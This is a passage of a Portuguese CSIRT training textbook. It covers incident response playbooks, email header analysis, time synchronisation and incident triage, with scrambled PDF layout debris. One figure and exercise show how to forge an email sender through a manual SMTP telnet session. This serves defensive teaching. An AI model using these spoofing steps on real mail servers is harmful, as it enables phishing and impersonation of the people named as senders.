] Usuários internos

[

] Outros


3. O atacante obteve acesso privilegiado (root ou administrador)?

73

q

5. Quando o incidente de fato ocorreu? Data:

Hora: 6. O incidente continua? [

] Sim

[

] Não

7. Quais são os sintomas atuais relativos ao incidente?

8. Que departamentos/áreas foram afetados?

9. Que sistemas foram afetados? Descreva em detalhes características dos sistemas afetados, incluindo Sistema Operacional, aplicações, endereço IP e usuário relacionado com o dispositivo ou aplicação.

10. O backup dos sistemas comprometidos está disponível? [

] Sim

[

] Não

11. Os sistemas afetados ainda estão sob risco de ataques? [

] Sim

[

] Não

12. Considere desconectar o sistema ou desativar as contas de usuários comprometidas nos sistemas afetados.


Os sistemas comprometidos potencialmente necessitaram de uma análise forense?

74

[

] Sim

[

] Não

Considere cenário onde seja necessário obter mais informações sobre o ataque ou ainda seja necessária interação com a Justiça.

Procedimentos Como comentado, cada CSIRT deve desenvolver os seus próprios procedimentos e roteiros que identificam as ações a serem executados na ocorrência de um incidente.

q

Na sequência são apresentados diferentes roteiros que podem servir como base para um CSIRT desenvolver os seus próprios procedimentos.

Comprometimento por Malware/Worm 1. Isolar o sistema afetado

q

22 Desconectar o sistema afetado da rede ou pelo menos isolar os sistemas comprometidos; 22 Registrar as ações realizadas (regras de firewall e demais bloqueios realizados). 2. Notificar as autoridades responsáveis 22 Notificar o CSIRT; 22 Notificar as autoridades departamentais. 3. Identificar o problema 22 Determinar e isolar os processos e arquivos relativos ao incidente; 22 Coletar evidências: logs, snapshot do sistema, configuração etc.; 22 Listar a conexões de rede ativas; 22 Seguir os procedimentos específicos de cada Sistema Operacional para localizar arquivos modificados, programas instalados ou arquivos ocultos. 4. Conter ações do comprometimento 22 Remover todo processo suspeito no sistema comprometido; 22 Assegurar-se de que o malware que comprometeu o sistema não será incluído no backup; 22 Manter o sistema isolado até que o comprometimento seja totalmente erradicado. 5. Erradicar os sistemas afetados 22 Avaliar a extensão dos danos antes de aplicar a correção das vulnerabilidades; 22 Aplicar correções de segurança em todos os sistemas vulneráveis; 22 Avaliar o sistema em busca de demais danos causados pelo comprometimento; 22 Caso o sistema seja recuperado do backup, é importante lembrar de apliar correções de segurança; 6. Atualizar sistema de antivírus.

22 Assegurar-se de que os sistemas estão restaurando e executando em estado normal de operação; 22 Alterar credenciais de acesso de todos os usuários. 8. Realizar uma avaliação 22 Realizar uma avaliação geral do caso, de maneira a avaliar as ações implementadas; 22 Atualizar os procedimentos internos com as lições aprendidas no caso.

Página falsa 1. Desativar a página falsa 22 Se possível, desativar o servidor web comprometido; 22 Tornar o acesso à página falsa inacessível.

q


7. Restaurar os sistemas para o estado de operação normal

75

2. Identificar as características do incidente 22 Identificar como a página de phishing foi instalada; 22 Determinar outras ações desempenhadas no servidor comprometido; 22 Identificar se o comprometimento ao sistema teve acesso privilegiado (super-usuário); 22 Analisar os arquivos relativos à página comprometida (base de dados, arquivos do atacante, ferramentas do atacante); 22 Identificar todos os acessos à página comprometida (possíveis vítimas). 3. Notificar as partes envolvidas 22 Notificar as possíveis vítimas do ataque; 22 Enviar artefatos e informações sensíveis encontradas na máquina para a instituição fraudada; 22 Notificar CSIRT de coordenação (CAIS/RNP ou CERT.br). 4. Restaurar os sistemas para o estado de operação normal 22 Assegurar-se de que os sistemas estão restaurando e executando em estado normal de operação; 22 Alterar credenciais de acesso de todos os usuários; 22 Ajustar as medidas de segurança de modo a evitar novos comprometimentos; 22 Armazenar todos os arquivos relativos à página comprometida para possíveis colaborações com a Justiça. Leitura recomendada: 11 NIST SP 800-61: Computer Security Incident Handling Guide http://csrc.nist.gov/publications/nistpubs/800-61/sp800-61.pdf 11 EDUCAUSE Security Task Force: Incident Handling and Response http://www.educause.edu/IncidentHandlingandResponse/1269 11 Handbook for Computer Security Incident Response Teams http://www.cert.org/archive/pdf/csirt-handbook.pdf 11 RFC 3.227 – Guidelines for Evidence Collection and Archiving http://www.ietf.org/rfc/rfc3227.txt 11 An Introduction to Incident Handling http://www.securityfocus.com/infocus/1184 11 Handbook for Computer Security Incident Response Teams


http://www.cert.org/archive/pdf/csirt-handbook.pdf 11 CERT®/CC Steps for Recovering from a UNIX or NT System Compromise http://www.cert.org/tech_tips/win-UNIX-system_compromise.html 11 Microsoft Says Recovery from Malware Becoming Impossible http://www.eweek.com/article2/0,1895,1945808,00.asp 11 RFC 3.227: Guidelines for Evidence Collection and Archiving http://www.ietf.org/rfc/rfc3227.txt Schultz, Eugene, and Russell Shumway. Incident response: a strategic guide to handling system and network security breaches. Sams, 2001. Van Wyk, Kenneth R., and Richard Forno. Incident response. O’Reilly, 2001. 11 IODEF: Incident Object Description and Exchange Format http://www.terena.nl/activities/tf-csirt/iodef/ 76

q

Roteiro de atividades 4 Atividade 4.1 – Notificação de incidentes a. Ao reportar um incidente por e-mail, quais são as informações mínimas necessárias para serem enviadas na notificação?

b. Discuta os motivos que levaram uma empresa a não reportar um incidente.

c. Discuta os motivos que levaram uma empresa a não responder a notificação de um incidente recebido.

d. Como responder uma intimação judicial internacional?

Atividade 4.2 – Preparação Da mesma forma, existem entidades que podem ter suas notificações priorizadas pelo seu CSIRT. Você considera importante priorizar incidentes de segurança de certas entidades? Quais? Por quê?


a. No processo de resposta a incidentes, algumas notificações são mais críticas que outras.

77

b. Como encaminhar a situação adequadamente quando um membro do alto escalão da empresa está infringindo a política de segurança da instituição? Por exemplo: acesso a conteúdo pornográfico em horário de trabalho.

Atividade 4.3 – Detecção a. Como o seu CSIRT se prepara para detectar e prevenir incidentes internos? Por exemplo, as ferramentas de detecção da instituição possuem filtros para identificar acessos indevidos aos seus sistemas tal como ataques de força bruta?

b. Como atuar em notificações onde a origem dos pacotes foi forjada? Por exemplo, foi realizado um ataque para a “instituição X” utilizando pacotes UDP. Os pacotes usados no ataque da “instituição X” continham o endereçamento de origem da sua instituição. Mesmo sem qualquer relação com o ataque, o seu CSIRT recebe uma notificação da instituição X informando que está sofrendo um ataque. Como responder a esse tipo notificação?

c. Através de uma pesquisa em sites públicos (paste.bin), o seu CSIRT identificou credenciais de sua instituição aparentemente válidas. No entanto, as informações são muito antigas – credenciais de usuários que nem estão mais na instituição. O seu CSIRT iniciaria uma


investigação para apurar o caso?

78

Atividade 4.4 – Contenção a. Como conter um incidente em um servidor que não pode ser desligado por motivos operacionais da empresa?

b. Sua instituição utiliza um software legado e crítico para o funcionamento da empresa. Através de uma análise, identificou-se que a aplicação possui vulnerabilidades, e que estas não podem ser corrigidas. Como proceder nesse caso, tendo em vista a etapa de erradicação do processo de resposta a incidentes?

Atividade 4.5 – Erradicação a. Em que casos de comprometimento a reinstalação do sistema deve ser mandatória?

Atividade 4.6 – Recuperação a. No caso da necessidade de restaurar um backup, como garantir que o mesmo backup não está comprometido ou vulnerável ao mesmo tipo de ataque?

Atividade 4.7 – Monitoração de acessos a. Considere o seguinte cenário: um funcionário está de férias e deixa o computador da empresa de posse da família. Através do notebook, é possível acessar a rede da empresa

b. Funcionários do departamento estão usando servidores de proxy abertos encontrados na web para burlar a política de bloqueio da sua instituição. Quais são as implicações de usar um serviço externo para acessar a rede?


via VPN. Como isso pode ser tratado na política de acesso da sua instituição?

79

c. O seu CSIRT recomenda a política mais severa para o uso recreativo da internet no trabalho? Qual filosofia é mais adequada: a) sem restrição de acesso, mas com alto nível de logs


(permite tudo e registra tudo); b) área restrita para uso recreativo (“fumódromo” da internet).

80

5 Identificar informações críticas em incidentes de segurança; Prover o entendimento e escopo de incidentes; Interpretar notificações de incidentes.

conceitos

Análise de cabeçalhos de e-mails; Identificação de informações relevantes em logs de serviços e sistemas; Resposta, notificação e encaminhamento de incidentes de segurança.

Introdução Sabe-se que o processo de resposta a incidentes é constituído por uma metodologia e etapas bem definidas. O capítulo anterior apresentou uma visão geral do processo de resposta a incidentes de uma maneira organizacional. De forma complementar, este capítulo tem por objetivo apresentar as diferentes etapas sob o ponto de vista operacional. Para isso, serão apresentadas ferramentas e técnicas que servem para identificar informações sensíveis de incidentes e prover recursos para a resolução.

Aspectos operacionais da resposta a incidente Os aspectos operacionais da resposta a incidentes descrevem de forma pragmática como

q

as diferentes etapas da metodologia de resposta a incidente podem ser implementadas. É importante lembrar que existem diferentes processos e metodologias para lidar com os incidentes de segurança – cada CSIRT deve implementar sua metodologia conforme as suas próprias peculiaridades: abrangência operacional e política da instituição. Mesmo assim, existe um conjunto de atividades que permeiam as diferentes metodologias e podem auxiliar o CSIRT em suas tarefas especializadas. A identificação de um incidente, por exemplo, é uma tarefa presente em qualquer metodologia de resposta a incidente. A partir do momento que um incidente de segurança é identificado, cabe à equipe definir quais são as ações a serem desempenhadas pela equipe. Essas etapas operacionais seguem um fluxo lógico bem definido. A figura a seguir ilustra as principais ações que podem ser desempenhadas assim que um incidente de segurança é identificado.

Capítulo 5 - Aspectos operacionais da resposta a incidentes

objetivos

Aspectos operacionais da resposta a incidentes

81

incidente

identificação

triagem

categorizar

priorizar

Figura 5.1 Etapas operacionais iniciais na análise de um incidente de segurança.

atribuir

Inicialmente, assim que o CSIRT identifica um possível incidente de segurança, entram

q

em ação etapas de classificação e priorização dos eventos. Posteriormente, a equipe atribui os incidentes aos seus devidos responsáveis para que os devidos procedimentos sejam aplicados. Na sequência as diferentes etapas da metodologia são caracterizadas com maior nível de detalhamento.

Identificação A identificação visa confirmar a real existência do incidente e realizar uma análise inicial

q

dos recursos afetados. No que tange as questões operacionais, cabe relembrar as diversas formas que um incidente pode ser identificado: 11 Identificada pelo próprio CSIRT; 11 Notificada por entidades da própria instituição; 11 Notificação por entidades externas. Para isso, o CSIRT usa a sua infraestrutura e recursos para identificar os incidentes de segurança. Ferramentas de segurança do próprio CSIRT, por exemplo, podem ser utilizadas para identificar incidentes de segurança destinados à instituição. As ferramentas de detecção de intrusão são úteis para identificar máquinas comprometidas na própria rede local.


Da mesma forma, incidentes podem ser identificados por outros departamentos através da

82

simples observação comportamental dos sistemas (lentidão, muitas conexões, uso intenso de disco rígido em ociosidade do sistema). Por outro lado, um incidente pode ser notificado por meio de entidades externas, tal

q

como CSIRTs, redes atacadas, grupos de pesquisas. Sendo assim, todo incidente de segurança deve ser analisado de forma criteriosa, com a verificação da origem e a veracidade das informações reportadas. Como parte da avaliação, não basta apenas examinar as informações do corpo da mensagem da notificação, mas em alguns casos inspecionar seu cabeçalho.

Mensagens de e-mail Como se sabe, o envio de mensagens é realizado por um servidor de e-mail tipicamente utilizando o protocolo Simple Mail Transfer Protocol (SMTP) para transmissão da mensagem desejada. Em geral, os servidores SMTP – servidor de e-mail da instituição – permitem que as máquinas da rede interna conectem e enviem mensagens. Para isso, os servidores de e-mail podem ser configurados de diferentes maneiras, usando políticas distintas para a transmissão de mensagens. O ideal, por questões de segurança, é que um servidor de e-mail não deveria permitir a submissão direta de mensagens de e-mails de máquinas internas sem garantir a autenticação dos usuários. Afinal, máquinas comprometidas

Mais informações podem ser encontradas em: http://www. antispam.br/admin/ porta25/motivacao/

poderiam valer-se dessa relação de confiança e usar o servidor da instituição para enviar mensagens indesejadas. As boas práticas de configuração descrevem maneiras de configurar de modo seguro os servidores de e-mail de uma instituição. Um exemplo é a política de segurança que implementa o “Gerenciamento da porta 25”. Antes de analisar mensagens de e-mail, é importante relembrar a anatomia típica de

q

uma mensagem. Uma mensagem de e-mails é constituída por três partes distintas: 11 Envelope: diretivas utilizadas para o efetivo encaminhamento da mensagem; 11 Cabeçalho: diretivas informacionais que descrevem propriedades da mensagem; 11 Corpo de mensagens: conteúdo da mensagem de e-mail. O envelope determina onde a mensagem de e-mail efetivamente vai ser entregue. O envelope é invisível ao usuário não fazendo parte da mensagem de e-mail. As informações do envelope são utilizadas internamente pelo protocolo de envio de mensagens (SMTP). De forma resumida, o protocolo SMTP necessita mandatoriamente dos seguintes campos:

q

11 mail from: 11 rcpt to: Os campos “mail from:” e “rcpt to:” são utilizados respectivamente para especificar a origem da mensagem e o destinatário. Caso não seja possível entregar a mensagem, a mesma mensagem é retornada para o endereço de origem. É importante lembrar que as diretivas do envelope da mensagem são totalmente independentes do cabeçalho. Sendo assim, é possível ter a diretiva “mail from:” e a diretiva do cabeçalho “From” diferentes. Essa inconsistência entre o cabeçalho e o envelope é uma técnica bastante utilizada por fraudadores de modo a forjar a origem das mensagens. Já o cabeçalho da mensagem de e-mail é constituído por um conjunto de informações

q

especificadas na RFC 5322. Tais diretivas descrevem informações da mensagem, como: data e hora em que a mensagem foi envida, servidores de e-mail intermediários utilizados para enviar a mensagem e seus respectivos horários de recebimento. Por fim, o corpo da mensagem é o conteúdo da mensagem propriamente dito. Tipicamente em formato texto sem formatação, mas pode conter outros formatos, incluindo HTML, arquivos binários (anexo) e também conteúdo cifrado.


w

83

Análise de cabeçalho A análise do cabeçalho de e-mail consiste em examinar certas informações presentes

q

nas mensagens em busca de inconsistências. As características de uma mensagem de notificação podem revelar: 11 Mensagens forjadas; 11 IP de origem do remetente; 11 Características do servidor de e-mail; 11 Erros de configuração; 11 Sincronia de tempo. O entendimento dos cabeçalhos de uma mensagem é uma habilidade demandada para os membros da equipe do CSIRT. O primeiro passo é localizar o cabeçalho de uma mensagem de e-mail. Muitos softwares ocultam parte das diretivas do cabeçalho apresentando apenas algumas informações, tal como: origem, destino, assunto e data, muito embora seja possível visualizar o cabeçalho completo das mensagens alterando o modo de exibição da ferramenta. Mesmo em casos onde são utilizados sistemas de webmail é possível obter essas informações do cabeçalho das mensagens. No Gmail, webmail do Google, por exemplo, é possível obter informações de cabeçalho da mensagem utilizando a opção “Show original” no menu da mensagem, conforme ilustrado nesta figura:

Figura 5.2 Visualizando o cabeçalho no webmail Gmail.

O cabeçalho da mensagem deve ser interpretado no sentido “de baixo para cima”. Na sequência – figura 5.3 –, é exemplificado um cabeçalho de uma mensagem de e-mail


arbitrário e a sua respectiva interpretação.

84

q

1 Return-Path: 2 X-Original-To: [email protected] 3 Delivered-To: [email protected] 4 Received: from mail.esr.rnp.br (mail.esr.rnp.br [10.10.10.10]) 5

(using TLSv1 with cipher AECDH-AES256-SHA (256/256 bits))

6

(No client certificate requested)

7

by intra.esr.rnp.br (Postfix) with ESMTPS id 9CCF04CEB46

8

for ; Fri, 4 Oct 2013 16:47:56 -0300 (BRT)

9 Received: by mail.esr.rnp.br (Postfix) 10

id 5F71941AB1D; Fri, 4 Oct 2013 16:47:56 -0300 (BRT)

11 Delivered-To: [email protected] 12 Received: from rota5.anonnet.net (rota4.anonnet.net [10.1.1.1]) 13

(using TLSv1 with cipher DHE-DSS-AES256-SHA (256/256 bits))

14

(No client certificate requested)

15

by mail.esr.rnp.br (Postfix) with ESMTPS id 52EB441AA74

16

for ; Fri, 4 Oct 2013 16:47:56 -0300 (BRT)

17 Received: from [10.10.2.1] (port=17213 helo=SXXXNIP005) 18

by sh.anonnet.net with esmtpa (Exim 4.80)

19

(envelope-from )

20

id 1VSB6d-0048UJ-Kv

21

for [email protected]; Fri, 04 Oct 2013 16:32:07 -0300

22 Return-Receipt-To: “Reportador de incidentes :: anon DATACENTER” 23 User-Agent: KMail/4.8.5 (Linux/3.2.0-54-generic; KDE/4.8.5; x86_64; ; ) 24 MessageId: 4234xDfAF 25 Message-Id: <201312011813.rB1ID7V3020559> 26 Date: Fri, 04 Oct 2013 16:32:00 -0300 27 Subject: comprometimento de sistemas 28 From: [email protected]

Os diferentes campos do cabeçalho permitem observar alguns identificadores básicos

q

que podem facilmente revelar detalhes do e-mail recebido, tal como: 11 Linha 2: To/X-Original-To: endereço de destino: endereço de e-mail de destino da mensagem; 11 Linha 23: User-Agent: software utilizado: descreve a identificação do software utilizado para compor e submeter a mensagem de e-mail ao servidor; 11 Linha 26: Date: horário de envio: data e horário em que o e-mail foi enviado, ou seja, no momento em que foi recebido pelo respectivo servidor de envio; 11 Linha 28: From: endereço de origem: endereço de e-mail do remetente. Essa informação é inserida pelo próprio remetente e não existe nenhuma espécie de verificação. Sendo assim, pode-se concluir que a mensagem foi enviada pelo endereço “[email protected]” através do servidor “sh.anonnet.net”, que utiliza o software “Exim versão 4.80” para envio de e-mail. Também é possível identificar que a mensagem foi escrita no Sistema Operacional Linux e usando o software “Kmail” para composição da mensagem. Posteriormente, a mensagem foi encaminhada para o servidor “mail.esr.rnp.br”, que repassou para o servidor de e-mail “intra.esr.rnp.br” até chegar ao seu destino final. A análise de informações do cabeçalho em sistemas e webmail é muito semelhante. Em alguns sistemas de webmail é possível observar o campo “X-Originating-IP” presente no cabeçalho da mensagem. Esse campo identifica o endereço IP utilizado para compor a mensagem, ou seja, o endereço IP do computador que autenticou no webmail.


Figura 5.3 cabeçalho de e-mail.

85

De fato, a análise do cabeçalho de mensagens de e-mail exige atenção; no entanto, existem algumas ferramentas que podem facilitar essa tarefa. Existem serviços online que permitem analisar o cabeçalho de e-mail de forma automatizada. Boa parte das ferramentas online identificam os principais campos do cabeçalho e permitem que conclusões sejam tomadas pelo analista. Um exemplo é o serviço Message Header Analyzer: https://toolbox.googleapps.com/apps/messageheader/ A título de ilustração, o mesmo cabeçalho apresentado na figura 5.3 foi analisado no referido serviço online. Como resultado, obteve-se a seguinte análise:

A análise dessas informações podem revelar indícios de que uma mensagem foi forjada. Observando campos, tal como IP de origem, servidores de e-mail utilizados para envio de


mensagens, reverso dos IPs e demais fatores são essenciais para identificar irregularidades.

86

Figura 5.4 Ferramenta online para análise de cabeçalho de e-mail.

Atividade 5.1 e Análise de cabeçalho de e-mail Analise os cabeçalhos da mensagem a seguir e responda as seguintes perguntas: Return-Path: X-Original-To: [email protected] Delivered-To: [email protected] Received: from mail.esr.rnp.br (mail.esr.rnp.br [10.10.10.10]) (using TLSv1.2 with cipher AECDN-AES256-SHA (256/256 bits)) (No client certificate requested) by intra.esr.rnp.br (Postfix) with ESMTPS id 86359247A42 for ; Fri, 25 Oct 2013 17:40:09 -0200 (BRST) Received: by mail.esr.rnp.br (Postfix) id 743B441ABE2; Fri, 25 Oct 2013 17:40:09 -0200 (BRST) Delivered-To: [email protected] Received: from server.open.bizz (unknown [10.10.2.2]) by mail.esr.rnp.br (Postfix) with ESMTP id 472E441ABE0 for ; Fri, 25 Oct 2013 17:40:09 -0200 (BRST) Received: from qualquercoisa (localhost [127.0.0.1]) by server.open.bizz (Postfix) with SMTP id DA6CC1DC639 for ; Fri, 25 Oct 2013 17:01:57 -0200 (BRST) Message-Id: <[email protected]> Date: Fri, 25 Oct 2013 17:01:57 -0200 (BRST) From: [email protected] To: [email protected]

b. Em que horário a mensagem foi escrita, ou seja, foi enviada para o servidor?

c. Que sistema foi utilizado para compor a mensagem de e-mail?


a. Qual é o destinatário da mensagem?

87

d. Trata-se de uma mensagem forjada? Por quê?

O protocolo SMTP, utilizado para envio de e-mails, não faz autenticação de origem e pode ser facilmente utilizado para forjar o remetente da mensagem. Por exemplo, o e-mail do exercício anterior foi composto utilizando os comandos ilustrados na figura 5.5. Em vez de usar um cliente de e-mail, optou-se por utilizar diretrizes do protocolo SMTP diretamente com o servidor de e-mail. user@server -> telnet localhost 25 Trying ::1... Trying 127.0.0.1... Connected to localhost. Escape character is ‘^]’. 220 server.open.bizz ESMTP helo qualquercoisa 250 server.open.bizz mail from: [email protected] 250 2.1.0 Ok rcpt to: [email protected] 250 2.1.5 Ok data 354 End data with . . 250 2.0.0 Ok: queued as 91CA51DC764

Atividade 5.2 e Utilizando o protocolo SMTP Com base nos comandos exemplificados na figura 5.5, vamos tentar enviar uma mensagem de e-mail usando o servidor de sua instituição. Para isso, vamos usar comandos do protocolo SMTP comunicando-se diretamente com o servidor de e-mail. Veja as instruções a


seguir e na sequência resposta as perguntas:

88

a. Identifique o servidor de e-mail da instituição:

1. dig MX +noall +answer user@server —> dig rnp.br MX +noall +answer ; «» DiG 9.9.3-rpz2+rl.13214.22-P2-Ubuntu-1:9.9.3.dfsg.P2-4ubuntul «» rnp.br MX +noall +answer ;; global options: +cmd rnp.br.

299 IN MX 5

rnp.br.

299 IN MX 15 mx1.rnp.br.

mx0.rnp.br.

Figura 5.5 Enviando uma mensagem de e-mail seguindo o protocolo SMTP.

b. Utilize o comando telnet para acessar o servidor SMTP

1. telnet servidor 25 c. Usando as mensagens do protocolo SMTP, tente enviar um e-mail executando os comandos a seguir:

1. helo 2. mail from: 3. rcpt to: 4. data 5. . 6. quit d. O e-mail foi enviado com sucesso? O destinatário recebeu a mensagem?

f. Qualquer máquina na rede pode enviar um e-mail utilizando os mesmos passos executados? Quais são as implicações de segurança?


e. Por que o destinatário não recebeu a mensagem?

89

Sincronismo de tempo O sincronismo de tempo é uma questão fundamental para a investigação de eventos

q

relacionados com segurança. Dessa forma, podem-se evitar erros de interpretação dos logs dos diferentes dispositivos (firewalls, roteadores e servidores). Sem a sincronia de horário, a análise dos diferentes arquivos de logs pode ser afetada principalmente na etapa de correlação de eventos. O mecanismo mais utilizado para o sincronismo de tempo é o protocolo Network Time Protocol (NTP). A implementação e características do protocolo NTP fogem do escopo deste trabalho; no entanto, a bibliografia é vasta e diversos serviços estão disponíveis na rede. Os websites a seguir descrevem detalhes do protocolo e como a sua configuração pode

q

ser realizada nos diversos sistemas: 11 http://www.rnp.br/ntp/ 11 http://ntp.br/ Assim como o sincronismo, a correta interpretação do horário de um incidente é essencial. Identificar o formato da data e hora nem sempre é uma tarefa simples, existe muita ambiguidade nas representações. Cada país tem suas próprias normas de representar horários. Uma representação de horário bastante aceito internacionalmente é a especificada pela ISO 8601. A ISO 8601 especifica a formato para representar data e tempo de forma padrão. Esse

q

padrão é bastante robusto e permite especificar o tempo com grande flexibilidade, como pode ser visto na sequência: Ano, mês e dia:

YYYY-MM-DD (ex. 2013-07-16) Data e hora completa:

YYYY-MM-DDThh:mm:ssTZD (ex. 2013-07-16T19:20:30+01:00) Onde:


YYYY = ano com quatro dígitos MM

= mês com dois dígitos (01=Janeiro, etc.)

DD

= dia do mês (01 até 31)

hh

= hora com dois dígitos (00 até 23)

mm

= minuto com dois dígitos(00 até 59)

ss

= segundo com dois dígitos (00 até 59)

TZD

= fuso horário (Z=GMT(Greenwich Mean Time) ou +hh:mm ou -hh:mm)

Do contrário, sem a padronização de um formato, seria quase impossível identificar corretamente a data e hora. Um exemplo é ilustrado a seguir: 11 01:00:00

05/11/06

11 01:00:00

01/02/03

Nessa representação, não fica evidente o formato utilizado para representar data e a hora. Existem alguns pontos que permitem uma interpretação redundante, por exemplo: 11 formato da hora: 24 horas ou 12 horas; 11 formato da data: dia/mês/ano ou mês/dia/ano.

90

Figura 5.6 Aviso

Além de questões relativas ao formato da hora, outra questão extremamente relevante é a utilização do horário de verão. Diversos países fazem o uso do horário de verão, cada qual com suas próprias regras de adoção. No Brasil, o horário de verão é regulamentado pelo decreto presidencial Nº 6.558, de 8 de setembro de 2008: “Art. 1o Fica instituída a hora de verão, a partir de zero hora do terceiro domingo do mês de outubro de cada ano, até zero hora do terceiro domingo do mês de fevereiro do ano subsequente, em parte do território nacional, adiantada em sessenta minutos em relação ‘a hora legal.” Nem todos os estados fazem devem adotar o horário de verão. O artigo 2º do mesmo decreto define os seguintes estados onde o horário de verão deve vigorar: Rio Grande do Sul, Santa Catarina, Paraná, São Paulo, Rio de Janeiro, Espírito Santo, Minas Gerais, Goiás, Mato Grosso, Mato Grosso do Sul e no Distrito Federal. A interpretação do horário pode ser mais complexa quando a investigação engloba dife-

q

rentes fontes de informações a serem avaliadas, tais como:

11 Cabeçalho de e-mails; 11 Diferentes Sistemas Operacionais. A correta identificação da data e hora permite definir um intervalo de tempo no qual os eventos devem ser investigados. Evidentemente, o termo “muito tempo” é relativo ao tipo de incidente, por exemplo: um incidente envolvendo negação de serviços que aconteceu há cinco dias terá menor prioridade do que um incidente em andamento. Dessa maneira, torna-se possível restringir o volume de dados a serem analisados e permitir a correta priorização e classificação dos incidentes. Em casos onde um incidente é identificado muito tempo após a sua ocorrência, sua investigação é prejudicada. Além de informações de data e hora, é fundamental observar questões pontuais, como fuso horário.

q


11 Arquivos de logs;

91

Do contrário, a etapa de correlação de incidentes pode ser seriamente prejudicada. Uma notificação com logs de servidores localizados no Japão não fará sentido no Brasil se a informação de fuso horário não estiver presente. No exemplo, o horário do log em um horário no futuro do ponto de vista no Brasil. Não se deve assumir o fuso horário tendo em base apenas informação do domínio, por exemplo: Brasil = GMT -3. Essa informação nem sempre é verdadeira, sobretudo em países com diversos fusos horários. De fato, cada administrador de sistema pode configurar o formato de data e hora da maneira que bem entender, basta apenas explicitar o formato utilizado para a correta interpretação. Para driblar preocupações de fuso horário e horário de verão, muitos administradores optam por armazenar os logs no formato GMT.

Atividade 5.3 e Padronização do formato data e hora Reescreva os horários a seguir usando a especificação ISO 8601. Considere o horário, data, e fuso horário. Data/hora

Formato ISO 8601

22:23 de 04 de janeiro de 2013 (fuso horário Brasil/SP) 03:23 de 04 de março de 2013 (fuso horário Brasil/SP) Aug 31 19:37:53 (fuso horário Venezuela) Triagem A triagem de incidentes busca classificar e priorizar incidentes suspeitos. Dessa maneira,

q

torna-se possível direcionar os esforços da equipe de tratamento de incidentes. De preferência, a triagem deve ser realizada de forma centralizada, ou seja, em um repositório onde todos os incidentes a serem avaliados pela equipe são concentrados. Tipicamente, os CSIRTs utilizam sistemas que centralizam as notificações de incidentes. Para isso, podem ser utilizados sistemas de trouble tickets, ou ainda diferentes caixas postais que direcionam (alias) as notificações para um repositório central:


csirt@instituicão security@instituicao abuse@instituicao

92

triagem@instituicao

A etapa de triagem implicitamente envolve uma avaliação inicial dos incidentes. Dessa forma, os incidentes podem ser encaminhados para o seu devido tratamento. Sob o contexto operacional, a triagem implementa as seguintes tarefas: 11 Categorizar; 11 Priorizar; 11 Atribuir.

d

Leituras recomendadas – ISO 8601 “Numeric representation of Dates and Time”: http://www.iso.org/iso/ en/prods-services/ popstds/datesandtime. html e “A summary of the international standard date and time notation”: http://www.cl.cam.ac. uk/~mgk25/iso-time. html

Dessa forma, as tarefas relacionadas com a categorização e priorização de incidentes

q

levam em consideração os recursos afetados pelo incidente e também o impacto às atividades críticas da instituição. Algumas organizações optam por utilizar, na fase de triagem, profissionais com boas habilidades técnicas e profundo conhecimento da instituição. Afinal, a triagem demanda profissionais com habilidade de tomar decisões de maneira rápida e efetiva, baseando-se em informações limitadas. Nem tudo o que chega até a triagem pode ser considerado um incidente de segurança que demanda ações. Existem notificações que de fato não correspondem a um incidente de segurança. Para isso, é importante observar a definição de incidente segundo a própria política de segurança da instituição. Outros casos, porém, são um pouco mais nebulosos. Como a triagem poderia atuar no caso a seguir: “Você recebeu uma notificação contendo um link para uma página falsa de uma instituição que não é sua. Também não foi possível identificar nenhum recurso de sua instituição envolvido no incidente (máquina propagando o link falsificado ou máquina hospedando o site falso).” No exemplo citado, o incidente pode ser lidado de diferentes formas. Não existe uma resposta certa para atuar nesse caso. Vai depender das diretrizes e da atuação de cada CSIRT. O incidente pode ser simplesmente descartado ou ainda tratado de forma não prioritária. Em situações onde um incidente foge do escopo do CSIRT, ao invés de descartar a mensagem sumariamente, aconselha-se responder o remetente informando que a notificação não será tratada pelo motivo especificado. Além das notificações de incidente, é muito comum que um CSIRT receba os mais diversos questionamentos relacionados com segurança da informação. Muitas vezes, pela própria exposição que o CSIRT possui, são recebidos questionamentos que fogem do escopo técnico de atuação de um CSIRT, tal como mensagens relacionadas com pedidos de emprego. Cabe ao CSIRT ter procedimentos que descrevem como essas situações não técnicas devem ser tratadas.

Priorização Nem todo incidente é uma prioridade a ser tratada pelo CSIRT. Uma tentativa de ataque

q

incidente de negação de serviço ao mesmo servidor. Obviamente, a tarefa de priorização e avaliação da criticidade de um incidente é muito particular em cada instituição. O conhecimento dos ativos da organização – servidores, informações críticas – permitem ao CSIRT desenvolver metodologias e procedimentos de priorização de incidentes. Por exemplo, para certas organizações, é preferível desativar seus serviços da internet a permitir que informações estratégicas sejam furtadas. Na etapa de priorização, certamente o escopo do incidente é uma questão fundamental

q

a ser considerada. Um vírus que infectou um servidor deve ser tratado com prioridades diferentes do que em um incidente onde um worm se propagou para toda a rede da instituição. Da mesma forma, um incidente que afeta uma máquina de trabalho regular e um incidente que afeta uma máquina de trabalho do departamento financeiro podem possuir prioridade diferentes.


a um servidor web da instituição, por exemplo, deve ter uma prioridade diferente de um

93

Uma boa prática para priorização de eventos é a utilização de níveis de segurança,

q

como por exemplo: 11 Nível 1: incidentes com baixo impacto para a instituição, que geralmente possuem atuação restrita. Por exemplo, um incidente envolvendo um vírus em um computador de trabalho (desktop); 11 Nível 2: são incidentes restritos a uma localidade com grande impacto nas operações do sistema. Por exemplo, uma conta com acesso privilegiado comprometida em um sistema crítico; 11 Nível 3: são eventos ou incidentes que não são restritos a uma localidade apenas, mas com pequeno impacto. Por exemplo, a proliferação de um vírus de computador em um seguimento da rede local; 11 Nível 4: são incidentes com grande impacto e que afetam múltiplas localidades da instituição. São eventos que requerem uma grande intervenção da equipe e com atuação com alta prioridade. Por exemplo, uma invasão a um servidor de autenticação. De qualquer forma, é impossível determinar de antemão qual será o verdadeiro impacto de um incidente para a organização. Entretanto, um modelo de classificação auxiliará a equipe a desenvolver um esquema onde recursos possam ser priorizados quando atuando com múltiplos incidentes. De uma forma resumida, a classificação e a priorização dos incidentes devem considerar o impacto técnico e o impacto no negócio da instituição. A seguir alguns questionamentos que podem auxiliar na etapa de triagem.

q

Impacto técnico

Impacto nos negócios

Que sistemas foram afetados?

A imagem externa da instituição foi afetada?

Que dados foram comprometidos?

Quantos clientes foram afetados com o incidente?

Qual nível de privilégio que o atacante obteve?

Que serviços ou produtos foram afetados?

Tabela 5.1 Questões a serem ponderadas na priorização de um incidente.

